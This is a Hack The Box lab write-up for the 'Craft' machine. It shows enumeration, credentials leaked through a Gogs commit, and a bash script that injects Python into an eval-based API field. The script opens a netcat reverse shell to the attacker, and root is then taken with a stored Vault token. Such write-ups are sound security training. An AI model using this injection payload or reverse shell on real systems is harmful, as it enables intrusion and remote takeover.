HTB Reports: Craft
Craft
- OS: Linux
- Level: Medium
- IP: 10.10.10.110
High-Level Summary
- User access: a python web application uses an
eval
with user controlled input, through this it is possible to obtain an initial foothold and then obtain user ssh keys. - Root access: root access can be obtained thanks to stored vault tokens.
Walkthrough
A quick scan with nmap will show the following results:
# nmap -p- -sV --open 10.10.10.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-04 03:30 EST
Nmap scan report for 10.10.10.110
Host is up (0.025s latency).
Not shown: 64452 closed ports, 1080 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp open ssl/http nginx 1.15.8
6022/tcp open ssh (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=1/4%Time=5E104D3F%P=x86_64-pc-linux-gnu%r(NUL
SF:L,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.24 seconds
This is Craft homepage:
A look at the two links on the top right corner reveals the following virtual hosts:
gogs.craft.htb
api.craft.htb
We can add these two entries to the /etc/hosts
file.
If we navigate to the api.craft.htb
page, we can see a list of available API:
While on the gogs.craft.htb
we see the following:
This is already a good indication about what we should do. API are likely buggy and the source code is available for review:
We can navigate to the issues
page and enjoy the reference to the TV show Silicon Valley:
As Gilfoyle is complaining about some shitty patch, we navigate to the relevant commit:
And the reason for Gilfoyle anger is immediately clear: there’s an eval
with user controlled input. This means we can inject python code.
As we can see from the issue page, the /api/brew/
page needs a token and Dinesh token isn’t valid anymore.
Luckily enough, if we look at the commit history, we can find Dinesh plain text passwords:
Using these credentials we can easily obtain an authentication token with the following command:
curl -s --user dinesh:4aUh0A8PbVJxgd https://api.craft.htb/api/auth/login -k
And we can use this token to test for RCE:
Once we confirm that we have RCE, we can put it all together to obtain our shell.
#!/usr/bin/env bash
# Credentials found in https://gogs.craft.htb/Craft/craft-api/commit/10e3ba4f0a09c778d7cec673f28d410b73455a86
USER=dinesh
PASS=4aUh0A8PbVJxgd
# API URLS
API=https://api.craft.htb/api
LOGIN=/auth/login
BREW=/brew/
# Retrieving auth token
TOK=$(curl -s --user $USER:$PASS $API$LOGIN -k | grep -i token | cut -d'"' -f4)
echo "Token: $TOK"
# Reverse target
LHOST=10.10.14.3
LPORT=6789
# Inject into abv
PAYLOAD="__import__('os').system('nc -nv $LHOST $LPORT -e /bin/sh -i') or 10"
curl -k -H "X-Craft-API-Token: $TOK" -H "Content-Type: application/json" -X POST $API$BREW --data "{\"name\": \"Reverse Beer\", \"brewer\": \"Pentesters Abbey\", \"style\": \"FCK\", \"abv\": \"$PAYLOAD\"}"
Don’t be fooled by the root account, we are in a cage.
We can see a file named dbtest.py
. We can modify this file and guess the user table name:
If we now run this script, we get a full set of credentials:
Unfortunately none of these credentials is good for ssh login. But after some tries, turns out that Gilfoyle one works on the Gogs page. Inside Gilfoyle account, there’s a private repository with ssh keys:
The ssh key asks for a passphrase, but this is the same of the Gogs password. We can therefore successfully login:
Escalation to root is very direct. If we list Gilfoyle’s home, we find there’s an hidden .vault-token
file:
We can check what tokens are currently loaded:
Excellent, we have a token for root. We can use the following command to login using vault:
vault ssh -mode=otp root@127.0.0.1
The system will generate a password for us that we can immediately use to login: